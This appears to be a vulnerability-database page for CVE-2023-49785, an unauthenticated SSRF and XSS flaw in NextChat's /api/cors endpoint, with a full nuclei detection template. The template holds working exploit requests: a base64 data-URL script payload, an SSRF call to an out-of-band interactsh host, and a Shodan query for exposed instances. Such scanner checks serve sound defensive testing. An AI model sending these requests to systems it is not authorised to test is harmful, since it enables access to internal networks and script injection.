HexBrain

Browse / CVEs / CVE-2023-49785

CVE-2023-49785· CWE-79

ChatGPT-Next-Web - SSRF/XSS

criticalseverity
9.1CVSS score
83.2%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Full-Read SSRF/XSS in NextChat, aka ChatGPT-Next-Web

Impact

Unauthenticated attackers can exploit SSRF vulnerabilities through the /api/cors endpoint to access internal network resources and inject malicious JavaScript for cross-site scripting attacks.

Fix

Do not expose to the Internet

How to confirm it

Send: GET {{BaseURL}}/api/cors/data:text%2fhtml;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+%23 ; GET {{BaseURL}}/api/cors/http:%2f%2fnextchat.{{interactsh-url}}%23
Positive when: contains(body_1, "<script>alert(document.domain)</script>") and contains(header_1, "text/html") OR contains(header_2,'X-Interactsh-Version') and contains(interactsh_protocol_2,'dns')

Run it with nuclei: nuclei -id CVE-2023-49785 -u <target>

The full check
id: CVE-2023-49785

info:
  name: ChatGPT-Next-Web - SSRF/XSS
  author: high
  severity: critical
  description: |
    Full-Read SSRF/XSS in NextChat, aka ChatGPT-Next-Web
  impact: |
    Unauthenticated attackers can exploit SSRF vulnerabilities through the /api/cors endpoint to access internal network resources and inject malicious JavaScript for cross-site scripting attacks.
  remediation: |
    Do not expose to the Internet
  reference:
    - https://www.horizon3.ai/attack-research/attack-blogs/nextchat-an-ai-chatbot-that-lets-you-talk-to-anyone-you-want-to/
    - https://github.com/ChatGPTNextWeb/ChatGPT-Next-Web
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2023-49785
    cwe-id: CWE-79
    epss-score: 0.83163
    epss-percentile: 0.9968
  metadata:
    verified: true
    max-request: 2
    shodan-query: "title:NextChat,\"ChatGPT Next Web\""
  tags: cve,cve2023,ssrf,xss,chatgpt,nextchat,vkev,vuln,ai

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/cors/data:text%2fhtml;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+%23"
      - "{{BaseURL}}/api/cors/http:%2f%2fnextchat.{{interactsh-url}}%23"

    matchers-condition: or
    matchers:
      - type: dsl
        dsl:
          - contains(body_1, "<script>alert(document.domain)</script>")
          - contains(header_1, "text/html")
        condition: and

      - type: dsl
        dsl:
          - contains(header_2,'X-Interactsh-Version')
          - contains(interactsh_protocol_2,'dns')
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from